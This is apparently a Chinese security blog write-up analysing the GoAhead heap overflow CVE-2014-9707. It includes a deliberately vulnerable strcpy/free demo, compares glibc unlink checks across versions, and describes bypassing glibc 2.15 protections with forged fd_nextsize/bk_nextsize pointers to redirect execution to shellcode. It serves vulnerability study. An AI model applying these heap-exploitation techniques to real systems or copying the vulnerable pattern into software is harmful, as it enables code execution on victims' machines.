实际上要利用这个漏洞,其实对于Linux二进制攻防熟悉的大牛肯定已经知道就是利用unlink来对堆进行攻击,其实这个漏洞非常有意思,是因为它有一个非常基础的漏洞模型,下面我们一起来把这个漏洞模型还原出来。

首先我们再来回顾一下发生漏洞的源码部分。

```
PUBLIC char *websNormalizeUriPath(char *pathArg)
{
    …… 省略一部分
    len = (int) slen(pathArg);
    if ((dupPath = walloc(len + 2)) == 0) {
        return NULL;
    }
    strcpy(dupPath, pathArg);
    if ((segments = walloc(sizeof(char*) * (len + 1))) == 0) {
        return NULL;
    }
    nseg = len = 0;
    firstc = *dupPath;
    for (mark = sp = dupPath; *sp; sp++) {
        if (*sp == '/') {
            *sp = '';
            while (sp[1] == '/') {
                sp++;
            }
            segments[nseg++] = mark;
            len += (int) (sp - mark);
            mark = sp + 1;
        }
    }
    ……省略一部分
        }
    }
    nseg = j;
    assert(nseg >= 0);
    if ((path = walloc(len + nseg + 1)) != 0) {
        for (i = 0, dp = path; i < nseg; ) {
            strcpy(dp, segments[i]);
            ……省略一部分
        }
        *dp = '';
    }
    wfree(dupPath);
    wfree(segments);
```

有几个地方值得关注,首先是刚刚进入函数的时候,有一处申请堆操作

    if ((dupPath = walloc(len + 2)) == 0) {

紧接着第二处申请堆操作

    if ((segments = walloc(sizeof(char*) * (len + 1))) == 0) {

然后是第三处申请堆操作

    if ((path = walloc(len + nseg + 1)) != 0) {

紧接着会对两个堆空间进行free操作

    wfree(dupPath);

    wfree(segments);

经过之前的分析,问题出现在path申请堆空间后的strcpy后,其实看到这里可以很明朗的看出一些东西,我们来看一张对比图。

http://p0.qhimg.com/t01f8ee9c0bfccad56f.png

阅读过堆溢出漏洞的小伙伴肯定对右面图中的代码很熟悉,实际上,CVE-2014-9707这个漏洞,分析完这个漏洞的成因之后,可以还原成一个最常见的unlink漏洞利用的模型!

```
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
        char * first, * second;
/*[1]*/ first = malloc( 660 );
/*[2]*/ second = malloc( 660 );
        if(argc!=1)
/*[3]*/         strcpy( second, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}
```

接下来,我们来看一下这个漏洞申请堆空间的布局。

http://p2.qhimg.com/t011e742dc39c695039.png

我们可以看到,根据malloc的情况,可以将申请的空间做如下布局,top chunk是未被分配的堆空间,path所处的chunk,是可控的,也就是上面给出模型中的second部分,argv[1]就相当于我们在实战中要拷贝的堆空间。

也就是说,当我们在demo中,找到一个合适的payload,导致返回地址被修改成shellcode地址,或者system地址等等,无论怎么样,都能达到最后的利用。

这里我需要多说几句,如果仔细看过上面的demo和以前unlink的文章比较的话,会发现我拷贝的是第二个缓冲区,也就是说在free(second)的时候,才有可能会出发unlink,而不是free(first),这是因为在实战中,free(segment)的时候才会出发漏洞,所以利用覆盖got表中free地址替换为shellcode或者system函数的方法并不可用。

这里还是要利用覆盖返回地址的方法。关于unlink的触发机制在unlink的各种文档中都有详细描述,简单的描述 理解大致就是空闲块合并操作,释放块的时候,通过欺骗某chunk header来达到令系统认为A块的前面一块活着后面一块是空闲的,这样就会触发A块脱链,触发unlink宏,当然,这里A块不一定是当前块,也有可能是当前块的下一块。


glibc保护机制与绕过

在不断的版本更新中,glibc对抗堆溢出漏洞的手法层出不穷,在不断的演变中,我们需要面对不同的防护机制,这里通过对比分析和实战,我总结了glibc在进化过程中的变化和利用方法。很多利用在以前unlink的文章中都有描述,我在文末的参考文章中都已经指出,这里就不再进行赘述。

首先来看一下glibc 2.1.1版本中,关于unlink宏的定义。malloc.c第2344行。

```
#define unlink(P, BK, FD)                                                     
{                                                                             
  BK = P->bk;                                                                 
  FD = P->fd;                                                                 
  FD->bk = BK;                                                                
  BK->fd = FD;                                                                
}         
```

可以看到,最老版本的glibc中对chunk header的控制并不好,导致那个时候是最好利用的,这里对chunk header的结构我就不再多做描述,几乎所有关于linux下的堆溢出文章中都会提到,那么这里,如果我们设置unlink块的对象中的bk和fd为某些特殊的值,在这个条件下很容易就能达到利用。

接下来来看一下glibc 2.15版本中,关于unlink宏的定义。malloc.c第1544行。

```
#define unlink(P, BK, FD) {                                            
  FD = P->fd;                                                          
  BK = P->bk;                                                          
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                
    malloc_printerr (check_action, "corrupted double-linked list", P); 
  else {                                                               
    FD->bk = BK;                                                       
    BK->fd = FD;                                                       
    if (!in_smallbin_range (P->size)                                          
         && __builtin_expect (P->fd_nextsize != NULL, 0)) {               
      assert (P->fd_nextsize->bk_nextsize == P);                         
      assert (P->bk_nextsize->fd_nextsize == P);                         
      if (FD->fd_nextsize == NULL) {                                        
         if (P->fd_nextsize == P)                                       
           FD->fd_nextsize = FD->bk_nextsize = FD;                   
         else {                                                                        
           FD->fd_nextsize = P->fd_nextsize;                                
           FD->bk_nextsize = P->bk_nextsize;                               
           P->fd_nextsize->bk_nextsize = FD;                               
           P->bk_nextsize->fd_nextsize = FD;                               
         }                                                                       
      }   else {                                                                        
         P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      
         P->bk_nextsize->fd_nextsize = P->fd_nextsize;                       
      }                                                                            
    }                                                                                
  }                                                                    
}
```

可以看到,这里对FD->bk和BK->fd做了严格的判断,如果下一块的fd和前一块的bk不等于当前块,则会打印错误信息。只有当判断条件通过的情况下,才会执行else语句内的后续赋值内容。那么,是不是这样条件下就无法利用了呢?我们可以关注到,在else语句中还有一个嵌套的if语句,其中会执行一个函数in_smallbin_range,传参为当前块的大小,当当前块大小大于512字节的时候,程序会进入if语句中的内容,其中涉及到两个非常关键的指针指向变量fd_nextsize和bk_nextsize,而这个if语句中的else内,会执行一个赋值操作,对这两个变量,没有进行检查,于是在这种情况下,我们需要构造一个大于512字节的块,伪造fd_nextsize和bk_nextsize来完成利用。

在这个漏洞的利用环境下就是利用的这个unlink宏,那么我们注意到在判断完FD->bk后的入口点,有两个assert断言,实际上在release版本下,这两个断言并不能触发。

接下来我们来看较新的glibc 2.21,在这个版本下,malloc.c第1411行

```
#define unlink(P, BK, FD) {                                            
    FD = P->fd;                                                                               
    BK = P->bk;                                                                              
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                         
      malloc_printerr (check_action, "corrupted double-linked list", P);      
    else {                                                                                
        FD->bk = BK;                                                                  
        BK->fd = FD;                                                                   
        if (!in_smallbin_range (P->size)                                         
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {                       
             if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)            
                   || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
               malloc_printerr (check_action,                                     
                                   "corrupted double-linked list (not small)", P);
            if (FD->fd_nextsize == NULL) {                                   
                if (P->fd_nextsize == P)                                      
                  FD->fd_nextsize = FD->bk_nextsize = FD;                  
                else {                                                                       
                    FD->fd_nextsize = P->fd_nextsize;                          
                    FD->bk_nextsize = P->bk_nextsize;                                  
                    P->fd_nextsize->bk_nextsize = FD;                          
                    P->bk_nextsize->fd_nextsize = FD;                          
                  }                                                                 
              } else {                                                                
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;                     
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;                      
              }                                                                           
          }                                                                           
      }                                                                                    
}
```

和上面的代码大同小异,但是可以看到在之前的assert断言中判断的内容,被挪到if语句中进行判断,也就是说利用fd_nextsize和bk_nextsize伪造的方法不能再利用了。

因此在最新版glibc下如何完成堆溢出,是我下一步想研究的内容。


从unlink到漏洞利用

讲了glibc版本更迭,攻防对抗的升级,下面来讲一下这个漏洞的利用,在之前的内容中我们提到path是可控的,也就是说我们利用path覆盖top chunk,然后在segment被释放的时候,会去top chunk header中判断path块是否空闲,如果这时候欺骗linux让它认为path块空闲,则会触发path块unlink操作,从而导致漏洞呗利用。

在最老的版本glibc中,我们只需要将fd和bk分别设置为特定值即可完成利用,但是之前也提到新版glibc中发生的变化,下面我们来看一下linux中对抗堆溢出需要注意哪些情况吧。

首先linux会对堆大小进行检查,也就是说chunk header中的prev_size会被检查,这是为了对抗堆溢出中,设定prev_size为-4这种负数的情况,用于欺骗,因为为了计算前一个堆的偏移会用某chunk头部地址减去prev_size。

http://p8.qhimg.com/t019e9f0b5f646d7a84.png

这时候就会产生错误。

http://p1.qhimg.com/t012693281a65d301ca.png

来看一下glibc2.15的malloc.c中关于前一块大小检查部分的代码。

```
    nextsize = chunksize(nextchunk);
    if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
         || __builtin_expect (nextsize >= av->system_mem, 0))
      {
         errstr = "free(): invalid next size (normal)";
```

可以看到,在这里会对nextsize进行判断,nextsize是由下一块的chunksize得到,这时我们要记住prev_size,纪录的是前一块的大小,04030201时产生错误。

其次是double free的检查,不能连续释放两次,也就是说,当堆溢出覆盖下一个块和下下一个块的in_use位为0的时候(空闲状态),会无法通过double free的检查。

http://p6.qhimg.com/t01107085aa661098e2.png

可以看到,这时大小变成01020304后,通过了next size的检查,但是来看IN_USE位,当下一块和下下块IN_USE位都为0时,也就是连续两个块都空闲,则无法通过double free的检查。

http://p5.qhimg.com/t01b6a2a888b851db07.png

来看一下malloc.c中的相关代码。

```
    /* Or whether the block is actually not marked used.  */
    if (__builtin_expect (!prev_inuse(nextchunk), 0))
      {
         errstr = "double free or corruption (!prev)";
         goto errout;
      }
```

因此不能有连续两个块IN_USE都为0.

于是,我们可以构造这样的利用方法,glibc 2.15版本下,最新版会有新的防护,之前已经提到。

http://p4.qhimg.com/t01b08d18e48027064f.png

这里,我们构造一个伪造的块处于path块和top chunk块之间,用这种方法来绕过之前提到的FD->bk=P的检查,最后在前面的章节中,我们介绍到利用fd_nextsize和bk_nextsize的方法来完成最终的代码执行,于是我们将返回地址和shellcode地址分别布置在这两处位置。

最后我们可以完成利用。

http://p7.qhimg.com/t01152a385d493ab9e4.png

在这个研究中,我对linux堆溢出有了更深刻的理解,确实刚开始接触堆溢出的时候感觉很乱,尤其是链表,后来发现自己研究链表的机制,很快就能明白,尤其是配合这个漏洞进行调试,希望大家能够多多交流,共同进步!


参考链接

http://seclists.org/fulldisclosure/2015/Mar/157

http://bbs.pediy.com/showthread.php?t=211365

本文由k0shl原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/84595

安全客 - 有思想的安全新媒体

分享到:微信
+14赞
收藏
k0shl
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66